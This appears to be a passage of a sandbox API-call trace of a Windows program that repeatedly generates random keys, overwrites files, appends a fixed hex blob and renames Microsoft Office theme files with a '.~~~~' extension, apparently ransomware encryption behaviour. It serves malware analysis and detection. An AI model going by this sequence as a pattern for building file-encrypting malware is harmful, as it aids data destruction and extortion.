	[0122.557] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.557] GetLastError () returned 0x0
	[0122.557] GetLastError () returned 0x0
	[0122.557] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.557] GetLastError () returned 0x0
	[0122.557] GetLastError () returned 0x0
	[0122.673] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.673] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0122.676] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.676] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.726] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.726] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.726] CloseHandle (hObject=0x13c) returned 1
	[0122.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.739] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.~~~~")) returned 1
	[0122.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.772] GetLastError () returned 0x0
	[0122.773] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.774] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.774] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.774] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24276572903) returned 1
	[0122.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2a609d0, dwHighDateTime=0x1d60e1e)) 
	[0122.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f058
	[0122.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f058 | out: hHeap=0x300000) returned 1
	[0122.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.776] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.777] GetLastError () returned 0x0
	[0122.777] GetLastError () returned 0x0
	[0122.777] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.777] GetLastError () returned 0x0
	[0122.777] GetLastError () returned 0x0
	[0122.781] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.781] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0122.785] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.785] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.785] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.785] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.785] CloseHandle (hObject=0x13c) returned 1
	[0122.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390b60
	[0122.785] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.~~~~")) returned 1
	[0122.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390b60 | out: hHeap=0x300000) returned 1
	[0122.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.786] GetLastError () returned 0x0
	[0122.787] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.788] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.788] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.788] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24277831232) returned 1
	[0122.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2a86b30, dwHighDateTime=0x1d60e1e)) 
	[0122.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f090
	[0122.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f090 | out: hHeap=0x300000) returned 1
	[0122.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.789] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.789] GetLastError () returned 0x0
	[0122.789] GetLastError () returned 0x0
	[0122.789] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.789] GetLastError () returned 0x0
	[0122.790] GetLastError () returned 0x0
	[0122.792] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffac51, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.792] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x53af, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x53af, lpOverlapped=0x0) returned 1
	[0122.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0122.794] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.794] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.794] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.794] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.794] CloseHandle (hObject=0x13c) returned 1
	[0122.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928780
	[0122.794] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.~~~~")) returned 1
	[0122.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928780 | out: hHeap=0x300000) returned 1
	[0122.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.796] GetLastError () returned 0x0
	[0122.796] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.797] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.797] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.797] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24278730805) returned 1
	[0122.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2aacc90, dwHighDateTime=0x1d60e1e)) 
	[0122.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f0c8
	[0122.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f0c8 | out: hHeap=0x300000) returned 1
	[0122.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.798] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.798] GetLastError () returned 0x0
	[0122.798] GetLastError () returned 0x0
	[0122.798] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.798] GetLastError () returned 0x0
	[0122.798] GetLastError () returned 0x0
	[0122.801] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.802] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0122.805] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.805] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.807] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.807] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.808] CloseHandle (hObject=0x13c) returned 1
	[0122.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928780
	[0122.809] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.~~~~")) returned 1
	[0122.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928780 | out: hHeap=0x300000) returned 1
	[0122.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.810] GetLastError () returned 0x0
	[0122.811] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.812] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.812] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.812] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24280243028) returned 1
	[0122.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2ad2df0, dwHighDateTime=0x1d60e1e)) 
	[0122.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f100
	[0122.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f100 | out: hHeap=0x300000) returned 1
	[0122.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.813] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.813] GetLastError () returned 0x0
	[0122.814] GetLastError () returned 0x0
	[0122.814] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.814] GetLastError () returned 0x0
	[0122.814] GetLastError () returned 0x0
	[0122.816] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff9373, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.816] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x6c8d, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x6c8d, lpOverlapped=0x0) returned 1
	[0122.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0122.818] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.818] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.818] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.818] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.819] CloseHandle (hObject=0x13c) returned 1
	[0122.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928780
	[0122.819] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.~~~~")) returned 1
	[0122.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928780 | out: hHeap=0x300000) returned 1
	[0122.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.820] GetLastError () returned 0x0
	[0122.820] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.822] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.822] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.822] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24281204478) returned 1
	[0122.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2ad2df0, dwHighDateTime=0x1d60e1e)) 
	[0122.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f138
	[0122.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f138 | out: hHeap=0x300000) returned 1
	[0122.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
